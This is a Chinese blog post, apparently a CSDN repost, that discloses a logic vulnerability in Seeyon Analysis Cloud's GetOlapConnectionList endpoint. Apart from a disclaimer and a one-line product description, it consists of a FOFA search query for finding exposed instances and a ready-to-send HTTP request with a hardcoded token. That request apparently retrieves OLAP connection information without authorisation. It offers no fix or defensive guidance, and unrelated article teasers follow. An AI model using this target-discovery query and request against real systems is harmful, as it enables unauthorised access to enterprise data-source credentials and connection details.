首页 > 其他分享 >致远互联-分析云 getolapconnectionlist 逻辑漏洞

致远互联-分析云 getolapconnectionlist 逻辑漏洞

时间:2024-08-31 08:56:19浏览次数:14  
标签:互联 致远 zh image Accept application 文档 getolapconnectionlist

   声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

致远分析云是由北京致远互联精心打造的一站式数据分析平台,旨在助力企业实现数字化转型升级。

二,fofa语法

body="js/lib/ba.common.js" || body="/bi/portal/manifest.json"

 三,漏洞POC

GET /bi/api/SemanticModel/GetOlapConnectionList/?token=e30fe47a-f33e-463e-bc4a-843957ca88dd_263720ea7e397482da220115cae828_1214162142339 HTTP/1.1
Host: 
Range: bytes=0-100
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Connection: close

 每篇一言:希望你别像风,在我这里面掀起万翻般波澜,却又跟云去了远方。

标签:互联,致远,zh,image,Accept,application,文档,getolapconnectionlist
From: https://blog.csdn.net/weixin_45790890/article/details/141572203

相关文章

  • 最新干货|互联网算法备案办理要点解析
    一、 算法备案的主体不同于欧盟的算法治理路径,算法主体责任机制是我国算法问责制的基础。原因在于,我国认为算法是开发者价值观的技术体现,因此可以穿透算法面纱将开发者的责任承担至于前线,对应承担算法安全主体责任,也即预设了算法设计的工具属性。《算法推荐规定》《深度合成......
  • 什么是互联网上网行为管理,它有哪些功能,我们又该如何选择呢
    互联网已成为工作、学习与生活不可或缺的一部分。然而,随之而来的网络滥用、数据泄露及工作效率低下等问题也日益凸显。为此,互联网上网行为管理(InternetBehaviorManagement,IBM)应运而生,成为企业和组织保障网络安全、提升工作效率的重要工具。本文将带您深入了解互联网上......
  • Dirsearch-master安装使用及常见问题解决(互联网和内网)
    1、文档概述        本手册适用于帮助初学者快速掌握Dirsearch-master的安装、配置与使用方法。通过阅读本文档,您将能够了解如何搭建Dirsearch-master环境、扫描目标服务器上潜在的敏感文件和目录,并解读生成的报告。此外,本文档还涵盖了常见问题及解决方法,以便您在实际......
  • Dependency-Checkc操作手册V1.0(互联网及内网使用)
                  Dependency-Check操作手册二〇二四年八月Dependency-Check操作手册拟制:___________________   日期:___________________校对:___________________   日期:___________________审核:_________......
  • 【SCI一区】互联燃料电池混合动力汽车通过信号交叉口的生态驾驶双层凸优化(Matlab代码
    ......
  • 互联工厂数据交换标准:IPC-CFX
    大家好,我是Edison。全球电子制造主要集中在中国,面向未来工业4.0、中国制造2025的战略转型升级,互联互通是基础、数据是核心,如何从用户角度来定义设备加工数据的内容完整性、有效性、可扩展性将是工厂通讯连接交换的工作重点。IPC-CFX是什么?首先,解释下这两个缩写的意思:IPC是国际......
  • 2024年互联网公司时薪排行榜大曝光!
    2024年互联网公司时薪排行榜重磅出炉!这一次,行业薪资数据的透明度前所未有,看完这份榜单,你会发现互联网圈子的贫富差距竟然如此悬殊,不禁让人直呼“酸了”!在这个人人都关注收入与回报的时代,你是否也好奇,自己所在的公司时薪究竟排在什么位置?哪家公司是真正的“印钞机”,而又有哪些......
  • 移动互联 实训DAY10
    1.flex布局Flex是FlexibleBox的缩写,意为"弹性布局",⽤来为盒状模型提供最⼤的灵活性。任何⼀个容器都可以指定为Flex布局。容器属性:flex-flowflex-directionflex-wrapjustify-contentalign-itemsalign-content 元素属性:orderflex-growflex-shrinkflex-bas......
  • web的发展历史,互联网和万维网的关系
    OpenSNN开思通智网,官网地址:https://w3.opensnn.com/2024年8月份"O站创作者招募计划"快来O站写文章,千元大奖等你来拿!“一起来O站,玩转AGI!”web的发展历史Web(万维网,WorldWideWeb)的发展历史是一段非常重要的技术进步和社会变革的历程。以下是Web发展的关键阶段:1.Web的诞生......
  • web的发展历史,互联网和万维网的关系
    OpenSNN开思通智网,官网地址:https://w3.opensnn.com/2024年8月份“O站创作者招募计划”快来O站写文章,千元等你来拿!“一起来O站,玩转AGI!”web的发展历史Web(万维网,WorldWideWeb)的发展历史是一段非常重要的技术进步和社会变革的历程。以下是Web发展的关键阶段:1.Web的......